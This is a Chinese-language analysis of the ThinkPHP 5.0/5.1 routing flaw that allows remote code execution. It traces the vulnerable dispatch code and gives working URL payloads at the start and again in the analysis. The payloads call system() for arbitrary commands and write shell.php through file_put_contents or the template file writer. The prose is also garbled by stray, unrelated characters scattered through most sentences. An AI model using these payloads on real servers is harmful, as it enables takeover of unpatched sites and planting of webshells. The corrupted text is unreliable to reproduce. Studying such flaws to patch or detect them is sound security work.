0x01 漏洞利用方式
5.0版本POC(不唯一)
命令執(zhí)行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系統(tǒng)命令]
文件寫入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
5.1版本POC(不唯一)
命令執(zhí)行:?s=index/\think\Request/input&filter=system&data=[系統(tǒng)命令]
文件寫入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
0x02 漏洞分析
版本: Thinkphp v5.1.29(影響版本<5.1.31和<5.0.23)
本次分析環(huán)境:PHP/7.0.12 + Apache2
ThinkPHP官方在12月9日發(fā)布了5.*版本的更新隙赁,更新說明“由于框架對(duì)控制器名沒有進(jìn)行足夠的檢測(cè)會(huì)導(dǎo)致在沒有開啟強(qiáng)制路由的情況下可能的getshell漏洞”择克,所以漏洞的觸發(fā)在路由調(diào)度時(shí),thinkphp中由函數(shù)pathinfo()來獲取路由门粪,定位函數(shù)查看:/thinkphp/library/think/Request.php:678行
其中在文件31行定義了var_pathinfo的默認(rèn)值為s :
// PATHINFO變量名 用于兼容模式
'var_pathinfo' => 's'
所以當(dāng)請(qǐng)求報(bào)文中以GET形式傳入s參數(shù)是,則將其值作為pathinfo。全局查找pathinfo()函數(shù)的調(diào)用情況,可以發(fā)現(xiàn)同文件下path函數(shù)對(duì)其進(jìn)行調(diào)用,定位path()函數(shù)查看:/thinkphp/library/think/Request.php:716行調(diào)用pathinfo()函數(shù)獲取路由信息,并將返回值賦值給了$this->path墩莫,所以我們可以控制該變量,即path()函數(shù)的返回值乞旦,繼續(xù)跟蹤path函數(shù)的調(diào)用情況贼穆,定位函數(shù)routecheck():/thinkphp/library/think/App.php:583行
該函數(shù)進(jìn)行路由檢測(cè),且將我們可控的$path變量傳遞到了check()函數(shù)中進(jìn)行處理兰粉,定位查看check()函數(shù):/thinkphp/library/think/Route.php:877行
這里我們就可以看出為何官方說明故痊,在開啟強(qiáng)制路由的情況下不受該漏洞的影響,如果開啟強(qiáng)制路由玖姑,則check處理傳入的由我們構(gòu)造的$url變量時(shí)會(huì)實(shí)例化RouteNotFoundException對(duì)象愕秫,即報(bào)出對(duì)應(yīng)的錯(cuò)誤慨菱。
而默認(rèn)路由解析情況下,check()函數(shù)實(shí)例化了UrlDispatch對(duì)象戴甩,并將$url傳遞給了構(gòu)造函數(shù)進(jìn)行處理符喝,UrlDispatch繼承Dispatch,分析其父類Dispatch的構(gòu)造函數(shù)甜孤,跟蹤查看:library/think/route/Dispatch.php:64行
傳入的$dispatch變量值賦值給了$this->dispatch,全局收索$this->diapatch的處理情況协饲,最終會(huì)傳入U(xiǎn)rl類中的init()函數(shù)進(jìn)行處理,跟蹤查看init()函數(shù):/thinkphp/library/think/route/dispatch/Url.php:20行
init()函數(shù)調(diào)用parseUrl()函數(shù)對(duì)$this->diapatch變量進(jìn)行處理缴川,跟蹤查看:/thinkphp/library/think/route/dispatch/Url.php:37行
ParseUrl()函數(shù)又將變量傳入到了parseUrlPath()函數(shù)中茉稠,繼續(xù)定位查看parseUrlPath()函數(shù):/thinkphp/library/think/route/Rule.php:951行
利用‘/’對(duì)$url變量進(jìn)行分割,且$url的格式為‘模塊/控制器/操作’把夸,將$url分割后的值存放在$path變量當(dāng)中而线,并返回到parseUrl()函數(shù),最終返回到Url類中init()函數(shù): /thinkphp/library/think/route/dispatch/Url.php:20行
最終分割后封裝好的路由信息數(shù)組傳遞到了$result變量中恋日,隨后傳遞到了Module的構(gòu)造函數(shù)進(jìn)行處理膀篮,由于Module的父類也是Dispatch,即將$result值傳遞給了變量$this->dispatch岂膳,隨后調(diào)用Module類的init()函數(shù)對(duì)$this->dispatch進(jìn)行處理誓竿,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行
在初始化模塊的判斷語句中,對(duì)$module進(jìn)行判斷闷营,則需要$available的值為true烤黍,即需要is_dir($this->app->getAppPath() . $module 的判斷條件成立,由于默認(rèn)模塊是index傻盟,所以入口模塊為index,也可以用‘.’進(jìn)行替換嫂丙。$this->dispatch的值最終傳遞到$this->controller中娘赴,init()函數(shù)處理完過后,進(jìn)入exec()函數(shù)跟啤,查看函數(shù)代碼: /thinkphp/library/think/route/dispatch/Module.php:85行
exec()函數(shù)將變量$this->controller傳遞給了controller()函數(shù)進(jìn)行處理诽表,繼續(xù)跟蹤controller()進(jìn)行查看:/thinkphp/library/think/App.php:720行
當(dāng)$name中存在’\’時(shí)竿奏,直接將$name值賦給$class,然后實(shí)例化$class腥放,并返回泛啸,這里可能有些人不知道為什么會(huì)實(shí)例化$class,在parseModuleAndClass()函數(shù)執(zhí)行后返回到controller()函數(shù)中
其中返回了$class變量秃症,所以調(diào)用魔術(shù)方法__get()函數(shù)進(jìn)行處理候址,App類是繼承于Container的吕粹,所以可以去查看Container類中的魔術(shù)方法__get()
public function __get($name)
{
return $this->make($name);
}
__get()調(diào)用了make()函數(shù),跟蹤查看:/thinkphp/library/think/Container.php:260行
make()將傳入的傳入的變量實(shí)例化為一個(gè)類岗仑,即controller()中$name為我們可以控制的值匹耕,可以通過構(gòu)造$name變量來實(shí)例化任何一個(gè)類,所以我們可以通過構(gòu)造s=index/\think\class/method來實(shí)例化\think\class類并且執(zhí)行該類的method方法達(dá)到控制程序流荠雕,由于Rule.php中parseUrlPath()函數(shù)中:
$url = str_replace('|', '/', $url);
所以也可以使用’|’進(jìn)行進(jìn)行構(gòu)造稳其,即index|\think\class|method。在\think\Request類中找到可以利用的方法input:
通過構(gòu)造payload:
s=index/\think\Request/input&filter=phpinfo&data=1
即可調(diào)用phpinfo函數(shù)炸卑,調(diào)用system()函數(shù)便可以任意命令執(zhí)行欢际。
在\think\template\driver\file類中找到可以任意寫文件的方法write:
所以通過構(gòu)造payload:
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
便可以在網(wǎng)站根目錄寫入任意惡意文件,從而達(dá)到控制目標(biāo)服務(wù)器的目的矾兜,可以調(diào)用進(jìn)行惡意操作的類比較多损趋。
對(duì)于Thinkphp5.0版本的,其路由控制器實(shí)現(xiàn)原理是一樣的椅寺,只是各種調(diào)用方式和函數(shù)名不太相同浑槽,這里不詳細(xì)分析,漏洞利用時(shí)調(diào)用的方法不一樣返帕,通過查找可以利用app類中的invokeFunction方法:通過實(shí)例化ReflectionFunction類桐玻,調(diào)用function函數(shù),由于變量$var為數(shù)組荆萤,所以可以構(gòu)造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
通過構(gòu)造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
便可以達(dá)到任意寫的目的:
同5.1版本一樣镊靴,其parseUrlPath函數(shù)在處理$url時(shí)也進(jìn)行了替換處理:
$url = str_replace('|', '/', $url);
所以payload中的’/’也可以利用’|’進(jìn)行替換。該漏洞的利用方法不唯一链韭,針對(duì)Thinkphp5.*的不同版本可以尋找不同的類進(jìn)行調(diào)用偏竟。
漏洞分析僅用于學(xué)習(xí)!3ㄇ汀踊谋!一切實(shí)際攻擊利用行為概不負(fù)責(zé)。